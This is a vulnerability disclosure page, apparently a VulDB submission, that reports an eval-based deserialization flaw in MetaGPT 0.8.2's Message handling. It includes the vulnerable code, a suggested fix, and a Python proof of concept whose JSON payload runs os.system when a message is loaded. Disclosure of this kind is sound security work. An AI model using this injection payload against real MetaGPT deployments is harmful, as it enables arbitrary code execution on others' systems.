提交 #828301: FoundationAgents MetaGPT 0.8.2 Deserialization信息

标题FoundationAgents MetaGPT 0.8.2 Deserialization
描述# Unsafe deserialization in `Message.check_instruct_content()` leads to code execution ## Summary `metagpt/schema.py:Message.check_instruct_content()` accepts serialized `instruct_content` data and, in the `"mapping"` branch, passes attacker-controlled strings into `metagpt/utils/serialize.py:actionoutput_str_to_mapping()`, which uses `eval(...)`. This allows code execution during `Message` deserialization. Relevant code: ```python # metagpt/schema.py if "mapping" in ic: mapping = actionoutput_str_to_mapping(ic["mapping"]) actionnode_class = import_class("ActionNode", "metagpt.actions.action_node") ic_obj = actionnode_class.create_model_class(class_name=ic["class"], mapping=mapping) ``` ```python # metagpt/utils/serialize.py def actionoutput_str_to_mapping(mapping: dict) -> dict: new_mapping = {} for key, value in mapping.items(): if value == "(<class 'str'>, Ellipsis)": new_mapping[key] = (str, ...) else: new_mapping[key] = eval(value) return new_mapping ``` ## Impact If an attacker can influence serialized `Message` data before it is deserialized, arbitrary Python code can be executed. ## Proof of Concept ```python from __future__ import annotations import json import sys from pathlib import Path REPO_ROOT = Path(__file__).resolve().parents[1] if str(REPO_ROOT) not in sys.path: sys.path.insert(0, str(REPO_ROOT)) from metagpt.schema import Message def main() -> int: payload = { "id": "poc", "content": "trigger deserialization", "instruct_content": { "class": "ReachableModel", "mapping": { "field1": '(str, __import__("os").system("echo injection!"))' }, "value": {"field1": "ok"}, }, } msg = Message.load(json.dumps(payload)) print(f"message_loaded={msg is not None}") if msg is not None and msg.instruct_content is not None: print(f"instruct_content={msg.instruct_content.model_dump()}") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Run result: - `injection!` is printed as a side effect of deserialization - `message_loaded=True` - `instruct_content={'field1': 'ok'}` ## Relevant deserialization paths - `Message.dump()` / `Message.load()` in `metagpt/schema.py` - `MessageQueue.load()` calls `Message.load(...)` - `metagpt/software_company.py` supports recovery from serialized state via `recover_path` - `metagpt/software_company.py` calls `Team.deserialize(stg_path=..., context=ctx)` when `recover_path` is provided - `Environment.history` stores `Memory` - `Memory.storage` stores `Message` objects The PoC uses the same `Message` deserialization logic as the framework. ## Suggested fix - remove `eval(...)` from `actionoutput_str_to_mapping()` - use a strict parser / whitelist for supported field type encodings - reject unknown types instead of evaluating arbitrary expressions The `"module"` branch in `Message.check_instruct_content()` also accepts serialized module/class names and dynamically imports them: ```python elif "module" in ic: ic_obj = import_class(ic["class"], ic["module"]) ``` ## Affected locations - `metagpt/schema.py:251-263` - `metagpt/utils/serialize.py:50-57`
来源⚠️ https://github.com/FoundationAgents/MetaGPT/issues/2038
用户 ASUKA39 (UID 70397)
提交2026-05-13 13時19分 (22 日前)
管理2026-06-01 18時34分 (19 days later)
状态已接受
VulDB条目367673 [FoundationAgents MetaGPT 直到 0.8.2 metagpt/schema.py Message.check_instruct_content mapping 权限提升]
积分20

Interested in the pricing of exploits?

See the underground prices here!